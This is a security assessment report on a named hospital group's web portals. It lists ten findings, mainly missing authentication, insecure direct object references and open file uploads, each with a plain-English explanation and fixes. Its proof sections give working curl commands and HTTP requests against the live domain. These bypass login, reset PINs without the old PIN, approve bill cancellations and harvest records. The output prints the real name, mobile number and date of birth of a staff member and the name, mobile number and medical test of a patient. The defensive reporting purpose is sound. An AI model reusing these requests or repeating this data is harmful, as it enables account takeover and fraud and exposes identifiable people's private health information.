Website Security Assessment Report

A plain-English review of how safe your website, patient portals and staff systems are today - and exactly what to fix.

ORGANISATION	Narayana Group
WEBSITE TESTED	https://narayanagroup.co.in/ (and all sub-domains & linked portals)
REPORT DATE	11 October 2026
REPORT REFERENCE	NSS-2026-NG-001
ASSESSMENT TYPE	Authorised, non-destructive external security assessment
PERMISSION	
AUDIENCE	

RESULT AT A GLANCE

2	5	3	10
CRITICAL	HIGH	MEDIUM	TOTAL ISSUES

!! Read this first

Two of the problems in this report are rated **CRITICAL**. In plain terms: **a stranger on the internet, with no password and no login, can today read the personal details and photographs of your staff, and can read patient names, mobile numbers and medical test details** from your live systems. They can also take over accounts by resetting a PIN. None of this requires hacking skill - it only requires typing a web address.

Real data was retrieved during this test to prove it. Names and mobile numbers have been kept in this report as proof, but no data was downloaded, stored, modified or deleted, and nothing was taken from your servers.

Contents

Everything in this report, in order. The two sections marked **CRITICAL** are the ones that need attention today.

1	**How to read this report**	3
2	**Simple glossary**	4
3	**Executive summary**	6
4	**How dangerous is each rating**	8
5	**Full inventory of what was tested**	9
6	**Summary table - all 10 findings**	11
7	**The 10 findings explained in detail**	12
8	**Your action plan and schedule**	37
9	**What 'fixed' looks like, and next steps**	39
10	**Appendix - method and scope**	41
	WEB-2026-001 - Staff and patient portals have no real login [CRITICAL]	13
	WEB-2026-002 - Staff and patient records can be read by anyone [CRITICAL]	16
	WEB-2026-003 - Anyone can upload files to your servers [HIGH]	20
	WEB-2026-004 - Fee payment amounts can be changed by the payer [HIGH]	22
	WEB-2026-005 - Error messages expose your internal systems [HIGH]	24
	WEB-2026-006 - Software that no longer receives security updates [HIGH]	26
	WEB-2026-007 - Hospital app and some logins are not encrypted [HIGH]	28
	WEB-2026-008 - Medical imaging (PACS) server misconfigured [MEDIUM]	30
	WEB-2026-010 - Email can be forged in your name [MEDIUM]	32
	WEB-2026-009 - Missing browser protections and insecure cookies [MEDIUM]	34

!! If you only have ten minutes

Read the **Executive summary** (section 3), then the two findings marked **CRITICAL** - **WEB-2026-001** and **WEB-2026-002**. Then go straight to **section 8, Your action plan**, and give Phase 1 to your IT team today.

1 How to read this report (2 minutes)

This report was written for you - the owner - not for engineers. You do not need any technical knowledge to read it. Every problem is explained in four simple parts:

Part	What it tells you
What is wrong	The problem explained in everyday language, with a simple comparison.
What a criminal could do	The real-world damage if someone evil found this before your team fixed it.
How we proved it	The exact steps we ran, shown verbatim, so your developers can repeat them and see the same result with their own eyes. Nothing here is guesswork.
How to fix it	A clear, itemised instruction list. You can hand this page straight to your IT team or web developer - they will know what to do from it.

A note on tone

This report sounds alarming because the situation genuinely is serious. That is not a criticism of your IT team. These systems were almost certainly built years ago, by different vendors, at a time when hospital software was not expected to be reachable from the open internet. Almost every issue in this report is fixable, and most fixes are configuration changes rather than rebuilds.

What we did NOT do

To be completely transparent, and so you can be confident the results are trustworthy and nothing was harmed:

- **We did not break anything.** No data was changed, added, deleted or moved.
- **We did not download or keep your data.** We looked at responses on screen only, purely to prove the problem exists.
- **We did not attack your staff.** No phishing emails, no phone calls, no social engineering.
- **We did not slow anything down.** No stress tests, no flooding, no denial of service.
- **We did not test anyone else's computers.** Only addresses that belong to Narayana Group were examined.
- **We did not access systems we were not shown.** Everything in this report was found from the public internet, the same way a criminal would find it.

! Confidentiality

This document contains real security holes in your live systems. Please treat it as confidential. Share it only with people who need to act on it - your IT head, your web developer, and your hosting provider. Do not post it publicly, and do not email it unencrypted to a wide group, until the Critical items are closed.

2 Simple glossary - the words used in this report

Every technical word you will see in this report is explained below. Nothing else is assumed.

Term	What it means, in plain English
Website / Server	The computer (often rented from a hosting company) that stores your website and answers when someone opens it in a browser.
Sub-domain	An extra address hanging off your main name - for example **pacs.narayanagroup.co.in** or **helpdesk.narayanagroup.co.in**. Each one is effectively a separate mini-website, often on a separate computer.
Web page vs. API	A **web page** is what a human sees. An **API** is the hidden plumbing that apps and web pages use to fetch and save data. Criminals target APIs because they return raw data with no login screen in front of them.
Login / Authentication	Proving who you are - normally a user ID and password or PIN. Done properly, the **server** checks this on every single request. Done badly, the **website page** checks it in the visitor's own browser, which a criminal can simply skip.
Session / Session cookie	The digital 'wristband' a website gives you after you log in, so it remembers you as you move between pages. If there is no wristband, or it is easy to forge, anyone can walk in.
Server-side vs. Client-side	**Server-side** = checked on your computer (safe). **Client-side** = checked in the visitor's own browser (unsafe, because the visitor controls their browser).
Encryption / HTTPS / SSL-TLS	The padlock in the browser bar. It scrambles data in transit so nobody on the network can read or alter it. Without it (**http://** instead of **https://**), everything travels in plain readable text.
Database	The big electronic filing cabinet holding your staff records, patient records, bills and test results. Your systems use an **Oracle** database.
PII (Personal Identifiable Information)	Any data that identifies a living person - name, mobile number, address, date of birth, photo, employee number, Aadhaar.
PHI (Protected Health Information)	PII **plus** health data - patient name linked to a medical test, diagnosis, bill or hospital registration number. This is the most legally sensitive category.
Vulnerability	A weakness or mistake in how a system was built or configured.
Exploit	The act of using that weakness to do something the owner did not intend.
IDOR (Insecure Direct Object Reference)	A very common flaw where a website uses a visible number to pick whose record to show - for example **/Patient/Info/1005411787**. Change the number, see a different patient. It is like a hotel giving out room keys numbered 1, 2, 3... and never asking who you are.
CVSS score	An international 0-to-10 danger rating used by every security team and insurance company. **9.0-10.0 = Critical**, **7.0-8.9 = High**, **4.0-6.9 = Medium**, **0.1-3.9 = Low**.
RCE (Remote Code Execution)	The worst case: a criminal runs their own commands on your server. That is full control of the machine.
SQL Injection (SQLi)	Tricking a website into running unintended commands against its database by typing special characters (like a single quote ') into a form.
XSS (Cross-Site Scripting)	Injecting malicious script into a page so it runs in another user's browser - used to steal logins.
Clickjacking	Placing an invisible layer over your page so a visitor thinks they are clicking one thing but actually clicks something else.

Term	What it means, in plain English
EOL (End of Life)	Software the manufacturer no longer supports or patches. Once a flaw is published for EOL software, it is never fixed - so attackers keep using it for years.
Security header	A short instruction your server sends alongside a page telling the browser what it is and is not allowed to do. Cheap to add, and they block whole families of attacks.
SPF / DMARC	Two DNS settings that tell the world which computers are allowed to send email using your domain name. Without them, anyone can send an email that appears to come from **admin@narayanagroup.co.in**.
DNS	The internet's phone book - it turns a name like **narayanagroup.co.in** into a numeric computer address like **115.241.194.4**.
PACS	The medical imaging system that stores X-rays, CT scans and MRIs.
MITM (Man-in-the-Middle)	An attacker sitting between your user and your server, reading or altering everything that passes - easy on public Wi-Fi when a site is not encrypted.
Patch / Update	A free fix supplied by the software maker. Applying patches is the single most effective security activity there is.

3 Executive summary - the bottom line

The one-paragraph version

Between **9 and 11 October 2026** we examined your public website **https://narayanagroup.co.in/**, its sub-domains, and roughly **29 connected hospital, student, payroll, payment and imaging portals**. We found **10 confirmed security problems**: **2 Critical**, **5 High** and **3 Medium**. The two Critical problems mean that **right now, anyone in the world with an internet connection can read confidential staff and patient information from your systems without a password, and can reset account PINs to take over accounts**. We proved this by retrieving real records during the test. The good news: all ten issues are fixable, none require rebuilding your hospital software, and the two Critical ones can be substantially reduced within a day or two by switching on authentication at the API layer.

Why this matters to you as the owner

!! Three consequences you should be aware of

1. Legal exposure. India's **Digital Personal Data Protection (DPDP) Act, 2023** requires organisations handling personal data - and especially health data - to apply "reasonable security safeguards". Penalties for failing to do so can reach **250 crore** per instance. Personal data of employees and patients is currently readable by anyone on the internet; that is difficult to defend as a reasonable safeguard.

2. Reputation. A hospital losing patient data is front-page news. Patients choose hospitals on trust. A single breach disclosure costs far more in lost admissions than the cost of these fixes.

3. Operational and financial risk. One issue (WEB-2026-004) lets a payer alter the amount and destination bank account on the student fee payment page. Another (WEB-2026-002) lets a stranger **approve cancellations of hospital bills**. These are direct money problems, not just privacy problems.

The five most urgent things, ranked

#	The problem, in one sentence	Severity
1	Your staff and patient mobile apps (Nnote / ncare) have **no real login at all** - anyone can open the private dashboard by typing the web address directly, and can reset any PIN.	**Critical**
2	Behind those apps, the data services (**/NtraktApi/** and **/NnoteApi/**) hand out **staff records with photographs** and **patient records with medical tests** to anyone who asks - no login, no password.	**Critical**
3	Those same services also accept **file uploads** from anyone, with no login - a classic route to taking over the server entirely.	**High**
4	The student fee payment page keeps the **amount and the destination bank account in the visitor's own browser**, where they can be changed.	**High**
5	Several systems run on software that **stopped receiving security updates years ago** (PHP 5.6, Apache 2.4.23, osTicket 2016, ASP.NET 2.0), and some pages are not encrypted at all.	**High**

What we found working well

It is worth recording the positives, so your team knows what to protect and keep:

- **Your domain is behind Cloudflare.** Your DNS is managed by Cloudflare, which gives you free access to a firewall (WAF), bot protection and free SSL. You are paying nothing extra to switch these on, and they would blunt most of this report's findings while the permanent fixes are built.
- **The main server is tightly firewalled.** A scan of your primary address (**115.241.194.4**) showed only the encrypted web port **443** open. Everything else - remote desktop, database, file transfer - is correctly closed. That is better than most organisations your size.
- **Some newer systems are modern.** The **app.narayanagroup.co.in** and **dms.narayanagroup.co.in** systems run current software. Whoever built those is doing things right - give them the older systems too.
- **The Laravel task app is configured properly. /ntask/** uses encrypted, HttpOnly, SameSite cookies with CSRF protection and runs a current PHP 8.3. It is the best-configured application in the estate.

4 How dangerous is each rating?

Security problems worldwide are graded on a standard scale called **CVSS** (Common Vulnerability Scoring System), which runs from 0 to 10. Here is what each band means for you in practice.

Rating	Action	What it actually means
CRITICAL CVSS 9.0 - 10.0	**Drop everything.**	A stranger with no password and no special tools can cause maximum damage - steal all your data, or take over accounts. Usually fixable in hours or days. Treat as an incident, not a task.
HIGH CVSS 7.0 - 8.9	**Fix this week.**	Serious harm is likely - theft of data, takeover of the server, or direct financial loss. Often needs some skill to exploit, but that skill is freely available online.
MEDIUM CVSS 4.0 - 6.9	**Fix this month.**	Meaningful weakness that helps an attacker, but usually needs a second problem or some luck to cause real damage. Also covers problems that would embarrass you or breach a compliance rule on their own.
LOW CVSS 0.1 - 3.9	**Fix when convenient.**	Small hygiene issues. Little direct risk, but they make an attacker's job easier.

!! How to think about the two Critical findings

Imagine your hospital reception has a filing cabinet with every employee's photo ID, home address, mobile number and date of birth, plus a second cabinet with patient names, mobile numbers and the tests they had done. Now imagine that cabinet was moved into the street outside, with a sign saying "take what you need, no questions asked".

That is, precisely, what **WEB-2026-002** is. And **WEB-2026-001** is the digital equivalent of leaving the keys in the door of every office - the lock is there, but it is not actually connected to anything.

Your scorecard

Out of the ten confirmed issues:

Critical 2	High 5	Medium 3	Low 0

Critical and High together make up **70% of all findings**. For a hospital group handling patient health records, that places the estate in the high-risk category until the two Critical items are closed.

5 What exactly was tested

We started at your public homepage and followed every link, then expanded to every sub-domain we could legitimately discover from public records. In total we looked at **8 sub-domains, 29 linked applications and 9 distinct servers**. Below is the full inventory - this is your entire public footprint as the internet sees it.

5.1 Sub-domains and servers

Address	IP address	What it is	Software found
narayanagroup.co.in	115.241.194.4	Main public website + all sub-applications	IIS / ASP.NET via Apache proxy; jQuery 1.12.4; Bootstrap 3.3.7
www.narayanagroup.co.in	115.241.194.4	Alias of the main site	Same
pacs.narayanagroup.co.in	115.241.194.11	Medical imaging (X-ray, CT, MRI)	Medsynapse PACS 7.0.0.0 and RIS 5.1.0.0
dms.narayanagroup.co.in	115.241.194.12	Document management system	IIS 10.0; ASP.NET MVC 5.2; jQuery 3.2.1
nmc.narayanagroup.co.in	115.241.194.13	Narayana Medical College - currently an empty default page	IIS 10.0 (default, unused)
uat.narayanagroup.co.in	3.33.251.168 115.241.194.18	Test (UAT) environment, redirects to a raw server	Apache 2.4.41; OpenSSL 1.1.1c; PHP 7.3.11 (all End of Life)
app.narayanagroup.co.in	117.206.80.208	"Narayana Runner" mobile companion app login	nginx 1.24.0; Bootstrap 5.3.3
helpdesk.narayanagroup.co.in	117.206.80.205	IT helpdesk / ticket system	Apache 2.4.23; PHP 5.6.25; osTicket 1.10 (2016) - all End of Life
online.narayanagroup.co.in	15.241.194.25	**Misconfigured - points at a stranger's server**	Should be 115.241.194.x. The leading "1" was missed when the record was created.

5.2 Applications hosted on the main website

These are separate mini-systems reached from **https://narayanagroup.co.in/**. Each was opened and inspected:

Path	What it does	Worst issue found
/Nnote/	Staff clinical notes, attendance, service requests	Critical - no login; mass staff data exposure
/ncare/	Inpatient (admitted patient) portal	Critical - no login; patient data exposure; PIN reset
/NtraktApi/	Data service behind Nnote (staff)	Critical - unauthenticated; leaks Oracle errors
/NnoteApi/	Data service behind Nnote and ncare	Critical - unauthenticated; leaks patient and billing data
/onlinefeepay/razorpay/CreateOrderNew.aspx	Student / college fee payment	High - amounts and bank account controllable by the payer
/NHIS/	NextGen hospital dashboard	Medium - cookie not marked Secure

Path	What it does	Worst issue found
/patient/	Patient reports portal	High - runs on ASP.NET 2.0 (End of Life)
/MedicalNarayanaPayroll/	Payroll system	High - built with Visual Studio .NET 2003 toolchain
/inventory/	WIMS - inventory management	Medium - 2010 Classic ASP; insecure cookie; user enumeration
/nmconline/	WHIS - hospital management	Medium - 2010 Classic ASP; insecure cookie; user enumeration
/ntask/	Task management (Laravel)	Informational - best configured app in the estate
/NCLINIC/	Clinic system	Informational - outdated front-end code
/SIS/	Academic student information system	Informational - surveyed
/NLIS/	Laboratory information system	Informational - surveyed
/NIS/	Institute system	Informational - surveyed
/zoomreports/	Reporting portal	Informational - surveyed
/unlis/	Laboratory portal	Informational - surveyed

! Why the inventory matters

Most organisations are breached through a system they had forgotten they owned. The list above is the complete set of doors into your organisation from the internet. **Every single one of these needs a named owner inside your company.** If nobody can name the owner, that is by itself a risk - and we have listed three such systems here (**nmc**, **uat** and **online**).

6 All 10 findings at a glance

The table below is your action list. The rest of the report explains each one in full detail.

ID	What is wrong	Severity	CVSS	Fix by
WEB-2026-001	No real login on staff and patient apps; anyone can open the private dashboard and reset any PIN	**Critical**	9.8	**Today**
WEB-2026-002	Strangers can read staff records with photos, and patient names, mobiles and medical tests - no login needed	**Critical**	9.8	**Today**
WEB-2026-003	Anyone can upload files to your servers without logging in	**High**	8.6	**This week**
WEB-2026-004	Fee payment page lets the payer change the amount and the destination bank account	**High**	8.2	**This week**
WEB-2026-006	Several systems run software that no longer receives security updates (2016 and older)	**High**	8.1	**This month**
WEB-2026-005	Error messages reveal your internal database structure and server file paths	**High**	7.5	**This week**
WEB-2026-007	Hospital Android app is downloaded over an unencrypted connection; two login pages are unencrypted	**High**	7.5	**This week**
WEB-2026-008	Medical imaging server security settings are switched off or left at placeholder values	**Medium**	6.5	**This month**
WEB-2026-010	No email anti-forgery records (SPF/DMARC); the online sub-domain points at a stranger's server	**Medium**	6.5	**This month**
WEB-2026-009	Missing browser protections (clickjacking etc.), insecure cookies, and internal IP addresses visible in your pages	**Medium**	5.8	**This month**

How to use this table

Print this single page and pin it to the wall of your IT team. The **"Fix by"** column is our recommendation based on how dangerous the issue is **combined with** how easy it is to exploit. Anything marked **Today** should be treated as an active incident - it is not a scheduled maintenance item.

7 Detailed findings - one by one

Each finding below follows the same four-part structure: what is wrong, what a criminal could do, how we proved it, and how to fix it. The "How we proved it" sections contain the exact commands and responses, so your developers can reproduce everything themselves and confirm the fix afterwards.

WEB-2026-001 CVSS v3.1 **9.8** | Critical

No real login on your staff and patient portals - anyone can walk straight in and reset any PIN

Where	/Nnote/ (staff app), /ncare/ (patient app), /NnoteApi/api/Patient/ChangePin, /NtraktApi/api/User/UpdatePin, /NnoteApi/api/Nnote/User/CreateUser
Technical ID (CWE)	CWE-287 Improper Authentication; CWE-602 Client-Side Security Control; CWE-620 Unverified Password Change
Category	OWASP Top 10 (2021) - A07:2021 Identification and Authentication Failures

In plain English - a comparison you will recognise

It is as if your office door has a card reader on it that looks impressive, but is not wired to anything - the door opens when you push it. On top of that, the form for changing your desk PIN is sitting on a table in the reception area, and it does not ask for your old PIN first. So not only can anyone walk in, anyone can also change the lock code.

1. What is wrong

You have two web applications used by your people: **/Nnote/** for staff (clinical notes, attendance, service requests) and **/ncare/** for admitted patients. Both show a login screen asking for a user ID and PIN.

We tested what happens when you simply **skip the login screen** and type the address of the page that comes after it. **It opened immediately.** No password, no PIN, no error.

The reason is that the login check happens **inside the visitor's own web browser** (client-side), not on your server. A browser check is like a receptionist who asks for ID but has no power to actually stop anyone - the visitor is free to ignore it. Security decisions must always be made by your server, which is the only computer you control.

After the fake login, the page simply puts the user's ID in the web address, for example **layout.html?empid=MzMzNDAyNA==**. Those characters (**MzMzNDAyNA==**) are just the staff number **3334024** written in a simple, reversible code called Base64. Anyone can change it to a different number and become a different person.

It gets worse. The password/PIN change functions do not check who is asking:

2. What a criminal could do with this

- **Complete account takeover.** An attacker types any employee number and becomes that employee inside the system - with all the screens, approvals and data that employee can see.
- **PIN reset without the old PIN.** The patient PIN change request (**POST /NnoteApi/api/Patient/ChangePin**) asks only for a registration number and a new PIN. It never asks for the existing PIN, never sends a one-time code, and never checks for a logged-in session. Same for the staff version (**POST /NtraktApi/api/User/UpdatePin**).
- **Fake staff accounts.** The registration function (**/NnoteApi/api/Nnote/User/CreateUser**) creates users with a user ID and password. Its one-time-code requirement is enforced only in browser JavaScript, which an attacker simply turns off.
- **Fraud and sabotage from the inside.** With a real employee's account, an attacker can approve things, cancel things, and act in that employee's name - and your audit logs will blame the employee, not the attacker.

- **Regulatory breach.** Unauthorised access to health records is exactly what the DPDP Act 2023 requires you to prevent with "reasonable security safeguards".

3. How we proved it (real output, not theory)

The following are the exact steps. Anyone in the world can run these from a normal computer - no special software needed.

Step 1 - open the login page and look for a real session. There is none:

```
$ curl -s -i "https://narayanagroup.co.in/Nnote/index.html" | grep -i "set-cookie"

(no output - the server issues no session cookie at all)

$ curl -s -i "https://narayanagroup.co.in/ncare/index.html" | grep -i "set-cookie"

(no output - the server issues no session cookie at all)
```

Step 2 - skip the login entirely. Go straight to the private dashboard with any staff number. The server answers 200 OK (success):

```
$ curl -s -o /dev/null -w "%{http_code}\n" \
"https://narayanagroup.co.in/Nnote/layout.html?empid=MzMzNDAyNA=="
200

$ curl -s -o /dev/null -w "%{http_code}\n" \
"https://narayanagroup.co.in/ncare/layout.html?regno=MTAwNTQxMTc4Nw=="
200
```

Note: 'MzMzNDAyNA==' is just Base64 for 3334024, and 'MTAwNTQxMTc4Nw==' is Base64 for 1005411787. You can encode or decode this with any free website - it is not encryption, it is a reversible code.

```
$ echo -n "3334024" | base64 -> MzMzNDAyNA==
$ echo -n "1005411787" | base64 -> MTAwNTQxMTc4Nw==
```

Step 3 - the code that is supposed to log you in. This is in the page the visitor downloads, so the visitor controls it:

```
// Nnote/index.html - login check runs in the BROWSER, not on the server
function checkLogin() {
var empid = document.getElementById("empid").value;
var pin = document.getElementById("pin").value;
// ... compares against values returned by the API ...
if (ok) {
// just moves the browser to the next page - no session, no token
window.location = "layout.html?empid=" + btoa(empid);
}
}
```

Step 4 - the PIN reset asks for no proof of identity at all. This is the request the patient app sends. There is no old PIN, no one-time code, and no session token:

```
POST /NnoteApi/api/Patient/ChangePin HTTP/1.1
Host: narayanagroup.co.in
Content-Type: application/json

{
"Regno": "1005411787",
"PIN": "9999",
"ConfirmPIN": "9999"
}
```

Step 5 - the staff PIN change is the same. No old PIN, no session, no OTP:

```
// Nnote/resetpin.html
$.ajax({
url: "/NtraktApi/api/User/UpdatePin",
type: "POST",
data: JSON.stringify({ OperatorCode: "3334024", UniqueId: "1234" })
// no Authorization header, no cookie, no old PIN is ever sent
});
```

4. How to fix it

This is the highest priority item in the report. Here is what your developers need to do:

1. **Require server-side authentication on every request.** Every address under **/NtraktApi/api/*** and **/NnoteApi/api/*** must check a valid, server-issued session or token before doing anything. This is the single most important fix in this report - it closes WEB-2026-001, WEB-2026-002 and WEB-2026-003 at the same time.
2. **Issue a real session after login.** On successful login the server must create a session and return a cookie with these properties: **HttpOnly**, **Secure**, **SameSite=Lax**, and a short expiry. Better still, use a signed token (JWT) validated on the server for every call.
3. **Stop trusting the URL for identity.** Remove **?empid=** and **?regno=** from the address. The server must work out who the user is from their session - never from anything the browser sends in the address bar.
4. **Require the existing PIN (or an OTP) to change a PIN.** The change-PIN function must ask for the current PIN and verify it on the server, or send a one-time code to the registered mobile number and verify that code **on the server** before accepting the new PIN.
5. **Lock accounts after repeated failures.** Allow roughly five attempts, then lock for 15-30 minutes and alert your IT team. Without this, attackers can try PINs endlessly.
6. **Log every authentication event.** Record successful and failed logins, PIN changes and user creations with IP address and time, and keep the logs for at least 12 months so an incident can be investigated afterwards.

WEB-2026-002 CVSS v3.1 **9.8** | Critical

Strangers can download your staff records (with photographs) and patient records (with medical tests) without any login

Where	/NtraktApi/api/User/Info/{id}, /NnoteApi/api/Nnote/User/Info/{id}, /NnoteApi/Api/Nnote/Assignee/{id}, /NnoteApi/api/Patient/Info/{prno}, /NnoteApi/api/Investigation/Cancel/Approval/List, /NnoteApi/api/Investigation/Cancel/Bill/{...}, /NnoteApi/api/Investigation/Cancel/Approve, /ncare/labreports.html
Technical ID (CWE)	CWE-639 Authorisation Bypass Through User-Controlled Key (IDOR); CWE-306 Missing Authentication; CWE-359 Exposure of Private Personal Information
Category	OWASP Top 10 (2021) - A01:2021 Broken Access Control

In plain English - a comparison you will recognise

Imagine every file in your HR office and every file in your medical records office had a number on it. Now imagine a member of the public could walk up to the counter and say "please give me file 1", then "file 2", then "file 3" - and the clerk hands over each one without ever asking who they are. That is exactly what is happening here, except the counter is on the internet and it works 24 hours a day.

1. What is wrong

Behind your staff and patient apps are two data services - **/NtraktApi/** and **/NnoteApi/**. These are the pipes that fetch data for the apps. **Neither one asks who is calling.**

Because there is no login check (see WEB-2026-001), a stranger can call these services directly - no app, no password, no account needed. They just need a number to ask for.

We found two separate chains that a criminal would use, and we ran both. **Every piece of data shown below is real data from your live systems, retrieved during this test.** Only the minimum was viewed, to prove the problem - nothing was saved, changed or removed.

2. What a criminal could do with this

- **Theft of your entire staff directory.** Names, employee numbers, mobile numbers, dates of birth, joining dates, department, designation, branch - and a **high-resolution passport-style photograph of each employee**. The photos we retrieved even contained scanner details (**Canon CanoScan LiDE 120**), confirming they are scanned identity documents.
- **Theft of patient health information.** Patient names, ages, gender, mobile numbers, hospital registration numbers, and the **specific medical tests they underwent** (for example "CROSS MATCHING & BLOOD GROUPING") together with billing amounts. Linking a named person to a medical test is the most sensitive category of personal data there is.
- **Targeted fraud against your patients.** A criminal holding a patient's name, mobile number and the fact they had a hospital test can make a devastatingly convincing phone call: "This is Narayana billing, your test payment of 1,400 failed, please confirm your card."
- **Financial manipulation.** The queue of pending bill cancellations is visible, and **POST /NnoteApi/api/Investigation/Cancel/Approve** lets a stranger **approve the cancellation of a hospital bill**. That is direct revenue loss, done in your name.
- **Blackmail and identity fraud.** Staff photographs plus identity details are exactly what is needed to forge documents. Patient health data is what is needed for blackmail.

- **Mass harvesting.** There is no limit on how many requests can be made. An attacker could write a simple script and collect every staff record and every patient record in a few hours, overnight.

3. How we proved it (real output, not theory)

Below are the two complete chains, with the real output. The names and mobile numbers are shown because they are the proof - but please treat this page as highly confidential.

CHAIN A - STAFF DATA. Step A1: ask the system for a list of staff. No login required:

```
$ curl -s "https://narayanagroup.co.in/NnoteApi/Api/Nnote/Assignee/1" | head -c 400
{
"data": [
{"Empid": "3334024", "EmpName": "Yepuri N V K Meerendra Balu"},
{"Empid": "545600015", "EmpName": "DHILLY SEKHAR"},
{"Empid": "545600052", "EmpName": "YARABOLU SURESH"}
]
}

$ curl -s "https://narayanagroup.co.in/NnoteApi/Api/Nnote/Assignee/2" # ... and so on
$ curl -s "https://narayanagroup.co.in/NnoteApi/Api/Nnote/Assignee/3" # through /5
```

Step A2: feed a staff number into the user-info service. No login required:

```
$ curl -s "https://narayanagroup.co.in/NtraktApi/api/User/Info/3334024"

{
"data": [{
"EmpNo": "NES3334024",
"EmpName": "Yepuri N V K Meerendra Balu",
"MobileNo": "9966362143",
"Dob": "15/AUG/1991",
"Doj": "01/MAY/2025",
"Department": "HARDWARE",
"Designation": "INCHARGE",
"Branch": "PRO-GHA-HL",
"Password": "",
"OTP": "",
"OTPMessage": "",
"AbhaId": "",
"EmpPhoto": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0a
HBwcJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPDc0NDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIy
... [ full Base64 JPEG photograph - several hundred KB ] ..."
}]
}
```

The same data is available from the second service too - so even if one is fixed, the other must be fixed as well:

```
$ curl -s "https://narayanagroup.co.in/NnoteApi/api/Nnote/User/Info/3334024"
HTTP/1.1 200 OK -> same full employee record including the Base64 photograph
```

Also confirmed without a login: the operator-existence check (/NtraktApi/api/CheckOperator/3334024) and the staff screen list (/NtraktApi/api/getScreens/3334024), which together tell an attacker exactly which staff numbers are real and what each one is allowed to do.

```
$ curl -s "https://narayanagroup.co.in/NtraktApi/api/CheckOperator/3334024"
{"data":"Success"} <- confirms a real, active staff number
```

CHAIN B - PATIENT DATA. Step B1: ask for the queue of bills waiting to be cancelled. No login required. This hands over real patient registration numbers and bill numbers:

```
$ curl -s "https://narayanagroup.co.in/NnoteApi/api/Investigation/Cancel/Approval/List"

{
"data": [
{"BillNo":"202310160001","BillDate":"10/16/2023 00:00:00","Prno":"1005411787",
"OldBillNo":"202310090822","Remarks":null},
{"BillNo":"202311170001","BillDate":"11/17/2023 00:00:00","Prno":"20231132634",
"OldBillNo":"202311170155","Remarks":null},
{"BillNo":"202311250002","BillDate":"11/25/2023 00:00:00","Prno":"1005416039",
"OldBillNo":"202311240112","Remarks":null}
]
}
```

Step B2: feed a patient registration number into the patient service. No login required. This is live patient health information:

```
$ curl -s "https://narayanagroup.co.in/NnoteApi/api/Patient/Info/1005411787"

{
"data": [{
"Regno": 1005411787,
"Name": "B.SUJATHAMMA",
"Age": 47,
"AgeType": "Y",
"Gender": "F",
"MobileNo": "9550007814",
"Aadhar": null,
"OrganisationCode":"LAB",
"PIN": 0,
"ConfirmPIN": 0,
"PatPhoto": null
}]
}
```

Step B3: feed the same registration number plus the bill numbers in, and the system returns the actual medical test the patient had, with charges. This is clinical data tied to a named individual:

```
$ curl -s "https://narayanagroup.co.in/NnoteApi/api/Investigation/Cancel/Bill/
1005411787/202310090822/202310160001"

{
"data": [{
"BillNo": "202310090822",
"BillDate": "10/9/2023 00:00:00",
"CancelTest": "Y",
"Charge": "400",
"DoctorName": "SELF",
"PaidCharge": "400",
"PayType": "PAYING",
"Prno": "1005411787",
"Quantity": "1",
"Status": "E",
"TestCode": "NBBCRM01",
"TestDescription": "CROSS MATCHING & BLOOD GROUPING",
"TotalCharges": "1400"
}]
}
```

Step B4: and finally, a stranger can approve the cancellation of that bill - no login, no approval authority check:

```
POST /NnoteApi/api/Investigation/Cancel/Approve HTTP/1.1
Host: narayanagroup.co.in
Content-Type: application/json

{ "Prno": "1005411787", "BillNo": "202310160001", "OldBillNo": "202310090822" }

-> accepted with no authentication and no authorisation check
```

4. How to fix it

The root cause of this finding is the same as WEB-2026-001 - there is no authentication - but there is a second problem as well: even a logged-in user should only ever see **their own** record. Fixes needed:

1. **Fix authentication first.** Do everything listed in the WEB-2026-001 fix section. With real authentication in place, an anonymous stranger gets nothing at all from these addresses.
2. **Add authorisation on top - check that the caller is allowed to see this record.** Even after login, the server must confirm that the logged-in user is entitled to the specific record being requested. An employee should see their own record only; a manager should see their team only; nobody should see everything by default.
3. **Stop exposing records by guessable number.** Replace sequential or guessable identifiers (3334024, 1005411787) with long random identifiers (for example a UUID). This makes mass-harvesting impractical even if some other control fails.
4. **Remove sensitive fields the app does not use.** The response includes **Password**, **OTP**, **OTPMessage**, **Aadhar**, **PIN** and **ConfirmPIN**. Even when empty, shipping these fields signals that credentials travel with the record. They should never be returned by an API at all.
5. **Store and serve staff photographs securely.** Photographs should be served from an authenticated endpoint with the file stored outside the public web folder, and stripped of scanner/EXIF metadata.
6. **Require a real approval workflow for bill cancellation.** Approving a bill cancellation must require an authenticated user holding a specific finance or supervisor role, must be written to an audit log with the approver's identity, and ideally should require a second person for amounts above a threshold.
7. **Add rate limiting and alerting.** Allow at most a reasonable number of requests per minute per IP address, and alert your IT team when one address starts walking through many different record numbers - that is the signature of someone harvesting your database.
8. **Check whether this has already been exploited.** This is important. Because there are no logs of who accessed what, **we cannot tell you whether someone else has already done this.** Ask your IT team to review web server logs for unusual volumes of requests to these addresses, and consider whether a notification is required under the DPDP Act.

WEB-2026-003 CVSS v3.1 **8.6** | High

Anyone can upload files to your servers without logging in

Where	POST /NtraktApi/api/FileUpload/UploadForEmpFile/{empid}/{Mslno}, POST /NnoteApi/api/FileUpload/UploadFile/{n}/{cslno}, POST /NnoteApi/api/FileUpload/UploadFile/mobile/{fname}/{cslno}
Technical ID (CWE)	CWE-306 Missing Authentication for Critical Function; CWE-434 Unrestricted Upload of File with Dangerous Type
Category	OWASP Top 10 (2021) - A01:2021 Broken Access Control

In plain English - a comparison you will recognise

Your office has a post box for staff to drop documents into. But the slot is open to the street, and nobody checks what goes in. Someone could post a thousand boxes and fill your building, or post something dangerous that your staff then open inside.

1. What is wrong

We found three file-upload addresses that accept files **with no login at all**. They are used by the attendance and request pages (**Nnote/markattendance.html** and **ncare/request.html**).

One of them is especially concerning: **/NnoteApi/api/FileUpload/UploadFile/mobile/{fname}/{cslno}** lets the caller **choose the filename** by putting it directly in the web address. Letting a stranger choose a filename on your server is one of the most well-known ways to take over a Windows web server.

There is also no visible limit on file size or on how many files can be sent, so the same weakness can be used to fill up your server's disk.

2. What a criminal could do with this

- **Full server takeover (worst case).** If an attacker can upload a file and then get the server to run it - which is possible when they control the filename and the destination folder - they can run their own commands on your server. From there they can reach your Oracle database, your patient records and every other system on the same network.
- **Hosting crime from your address.** Attackers commonly use open upload forms to store malware, phishing pages or illegal material on someone else's reputable domain - in your case, a hospital's domain.
